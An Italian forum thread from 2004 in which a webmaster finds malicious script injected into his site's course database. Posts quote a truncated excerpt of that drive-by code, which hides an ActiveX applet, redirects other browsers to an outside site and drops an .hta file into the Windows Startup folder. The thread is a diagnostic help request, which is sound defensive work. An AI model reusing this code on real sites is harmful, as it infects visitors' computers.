Codice maligno!

gionapper · 06-09-2004, 10:41

Ciao a tutti.
Ho un problema con questa pagina , Internet Explorer mi rileva un errore di javascript, mentre su un altro pc che monta il sw av Kaspersky mi dice addirittura che c'è un codice maligno. Non capisco!???? Mi ricordo solo che tempo fa inserii un comportamento con dw il quale introduceva il simbolo di copyright in fondo a sx sulla barra di stato, ma adesso questo comportamento non è più presente (almeno nella pagina). Il fatto strano ke il comportamento continua ad apparire e il Kaspersky mi dal'errore ma il tutto solo se clikko sul primo corso (Autocad). Con FireFox mi dice che non carica una applet com.ms.activeX........

visualizzando il codice generato dalla pagina sembra essere presente un codice da me non inserito (sembra proprio un virus). Il kasperky lo blocca subito. Ki gli volesse dare un'occhiata. allego anche l'immagine di kaspersky

Ke ne dite?

MrOZ · 06-09-2004, 11:47

a quell'indirizzo non è disponibile alcuna pag ora ma solo un msg del server

gionapper · 06-09-2004, 11:58

Quote:

Originariamente inviato da MrOZ
a quell'indirizzo non è disponibile alcuna pag ora ma solo un msg del server

Me ne sono accorto pure io, ora posto il pezzo di codice incriminato che però nella mia pagina in dw non è presente:

<body onLoad="loadPage()" onMouseMove ="javascript:window.status='2000-2001©COPYRIGHT'" bgcolor="#ffffff">
<p></p>

<div class='damn' style='position:absolute; visibility:hidden'><APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div>
<SCRIPT language=JAVASCRIPT>
window.status = "2000-2001©COPYRIGHT";function loadPage(){if (navigator.appName.substring(0, 9)!= "Microsoft"){window.open('http://www.cuntonly.com/black.html','_parent')};else{f()}};
a1=document.applets[0];
if (navigator.systemLanguage.substring(0,2)=="it") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\\\..\\\\All Users\\\\Menu Avvio\\\\Programmi\\\\Esecuzione automatica\\\\Welcome.hta"} else {fn="..\\\\All Users\\\\Menu Avvio\\\\Programmi\\\\Esecuzione automatica\\\\Welcome.hta"}} else if(na.........................

gionapper · 06-09-2004, 15:17

Quote:

Originariamente inviato da MrOZ
a quell'indirizzo non è disponibile alcuna pag ora ma solo un msg del server

Ora è funziona

wgator · 06-09-2004, 15:49

Questo è quello che c'è scritto in quella pagina, prima della descrizione del corso:

ATTENZIONE, il software antivirus Kaspersky potrebbe rilevare con Internet Explorer un codice maligno che in realtà non c'è (succede solo cliccando sul corso di Autocad!!), vi assicuriamo che il nostro codice rispetta completamente il w3c. Probabilmente il porting ad asp.net causa qualche incompatibilità con questa combinazione. Ce ne scusiamo con i nostri utenti.

Edit:

sembra comunque che in effetti ci sia qualcosa che non va: quel codice tenta di inserire la loro home page in esecuzione automatica

Vedi:

if (navigator.systemLanguage.substring(0,2)=="it") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\\\..\\\\All Users\\\\Menu Avvio\\\\Programmi\\\\Esecuzione automatica\\\\Welcome.hta"} else {fn="..\\\\All Users\\\\Menu Avvio\\\\Programmi\\\\Esecuzione automatica\\\\Welcome.hta"}} else if(na.........................

Meccanismo simile a quello che abbiamo discusso giorni fa in questo thread: http://forum.hwupgrade.it/showthread...hreadid=753482

gionapper · 06-09-2004, 18:05

L'ho visto, ma cacchio non c'è nessuna traccia nel sorgente!! Porca...

Per il momento la pagina l'ho rinominata in corsi_bak.aspx è non è raggiungibile dai munù ma solo digitando l'indirizzo, non si sa mai!

gionapper · 06-09-2004, 18:16

Gurdate ke ho trovato su symantec:

VBS.Kidarcade.F is a virus based on Visual Basic Script (VBS). It has been put into an HTML page, and is on at least one Web site. The virus installs a Backdoor Trojan that allows unauthorized access to the infected computer. Link

Io ho Kaspersky, possibile ke non mi vede traccia di questo

in effetti io le chiavi ke dice il noron non le ho nel registro, perchè kasper me lo blocca, ma il codice nella mia pagina rimane

gionapper · 07-09-2004, 17:22

...Oppure si chiama "js.exception.exploit". Ma io sicuramente non lo ho.
Ho controllato tutte le chiavi di registro ke dicono di controllare. Però ho scoperto ke attacca anche i webservers. Può essere quindi colpa di Aruba?

gionapper · 08-09-2004, 15:26

Ragazzi, incredibile! Il codice era scritto direttamente dentro al database dove sono situate le descrizioni dei corsi. Non sembra un trojan da poco secondo me!

06-09-2004, 10:41	#1
gionapper Senior Member Iscritto dal: Jan 2002 Messaggi: 856	Codice maligno! Ciao a tutti. Ho un problema con questa pagina , Internet Explorer mi rileva un errore di javascript, mentre su un altro pc che monta il sw av Kaspersky mi dice addirittura che c'è un codice maligno. Non capisco!???? Mi ricordo solo che tempo fa inserii un comportamento con dw il quale introduceva il simbolo di copyright in fondo a sx sulla barra di stato, ma adesso questo comportamento non è più presente (almeno nella pagina). Il fatto strano ke il comportamento continua ad apparire e il Kaspersky mi dal'errore ma il tutto solo se clikko sul primo corso (Autocad). Con FireFox mi dice che non carica una applet com.ms.activeX........ visualizzando il codice generato dalla pagina sembra essere presente un codice da me non inserito (sembra proprio un virus). Il kasperky lo blocca subito. Ki gli volesse dare un'occhiata. allego anche l'immagine di kaspersky Ke ne dite?

06-09-2004, 15:49	#5
wgator Senior Member Iscritto dal: Mar 2004 Città: Rimini Messaggi: 10296	Questo è quello che c'è scritto in quella pagina, prima della descrizione del corso: ATTENZIONE, il software antivirus Kaspersky potrebbe rilevare con Internet Explorer un codice maligno che in realtà non c'è (succede solo cliccando sul corso di Autocad!!), vi assicuriamo che il nostro codice rispetta completamente il w3c. Probabilmente il porting ad asp.net causa qualche incompatibilità con questa combinazione. Ce ne scusiamo con i nostri utenti. Edit: sembra comunque che in effetti ci sia qualcosa che non va: quel codice tenta di inserire la loro home page in esecuzione automatica Vedi: if (navigator.systemLanguage.substring(0,2)=="it") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\\\..\\\\All Users\\\\Menu Avvio\\\\Programmi\\\\Esecuzione automatica\\\\Welcome.hta"} else {fn="..\\\\All Users\\\\Menu Avvio\\\\Programmi\\\\Esecuzione automatica\\\\Welcome.hta"}} else if(na......................... Meccanismo simile a quello che abbiamo discusso giorni fa in questo thread: http://forum.hwupgrade.it/showthread...hreadid=753482 __________________ sometimes they come back * Life Happens! - (Professionista I.T. - Tecnico Telecomunicazioni) Latitude E6420 I7 2760QM SSD Crucial M4-512GB --- Tecra R840 I5 2520M SSD Samsung 830-256GB --- Macbook Pro 13,3"** I5 2435M SSD Samsung 830-256GB Ultima modifica di wgator : 06-09-2004 alle 16:07.

06-09-2004, 18:16	#7
gionapper Senior Member Iscritto dal: Jan 2002 Messaggi: 856	Gurdate ke ho trovato su symantec: VBS.Kidarcade.F is a virus based on Visual Basic Script (VBS). It has been put into an HTML page, and is on at least one Web site. The virus installs a Backdoor Trojan that allows unauthorized access to the infected computer. Link Io ho Kaspersky, possibile ke non mi vede traccia di questo in effetti io le chiavi ke dice il noron non le ho nel registro, perchè kasper me lo blocca, ma il codice nella mia pagina rimane Ultima modifica di gionapper : 06-09-2004 alle 18:29.

06-09-2004, 11:47	#2
MrOZ Senior Member Iscritto dal: Jun 2003 Città: "Mantua me genuit" Trattative concluse: 1 fracco!!! Devianze: MacTard iMac 27" i5 2,8Ghz 4GB IPHONE 5 32GB Black Iscritto dal: Nov 2002 Messaggi: 4426	a quell'indirizzo non è disponibile alcuna pag ora ma solo un msg del server

06-09-2004, 18:05	#6
gionapper Senior Member Iscritto dal: Jan 2002 Messaggi: 856	L'ho visto, ma cacchio non c'è nessuna traccia nel sorgente!! Porca... Per il momento la pagina l'ho rinominata in corsi_bak.aspx è non è raggiungibile dai munù ma solo digitando l'indirizzo, non si sa mai!

07-09-2004, 17:22	#8
gionapper Senior Member Iscritto dal: Jan 2002 Messaggi: 856	...Oppure si chiama "js.exception.exploit". Ma io sicuramente non lo ho. Ho controllato tutte le chiavi di registro ke dicono di controllare. Però ho scoperto ke attacca anche i webservers. Può essere quindi colpa di Aruba?

08-09-2004, 15:26	#9
gionapper Senior Member Iscritto dal: Jan 2002 Messaggi: 856	Ragazzi, incredibile! Il codice era scritto direttamente dentro al database dove sono situate le descrizioni dei corsi. Non sembra un trojan da poco secondo me!

Strumenti
Mostra una versione stampabile Invia questa pagina per email